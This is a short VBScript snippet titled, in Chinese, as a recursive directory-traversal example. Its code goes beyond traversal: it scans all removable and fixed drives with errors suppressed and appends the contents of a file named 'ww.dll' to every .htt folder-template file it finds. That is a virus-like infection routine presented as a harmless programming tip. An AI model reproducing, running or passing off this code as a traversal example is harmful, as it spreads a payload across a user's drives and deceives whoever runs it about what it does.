VBS脚本遍历目录（递归调用）

 

Set fso=createobject("scripting.filesystemobject")
Set dc=fso.Drives
For Each d in dc
    If d.DriveType=1 or d.DriveType=2 Then
       s=d.DriveLetter&":"
       scan(s)
    End If
Next

sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="htt" then
set self=FSO.opentextfile("ww.dll",1)
vbscopy=self.readall
set ap=FSO.opentextfile(file,8,2,true)
ap.write vbscopy
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub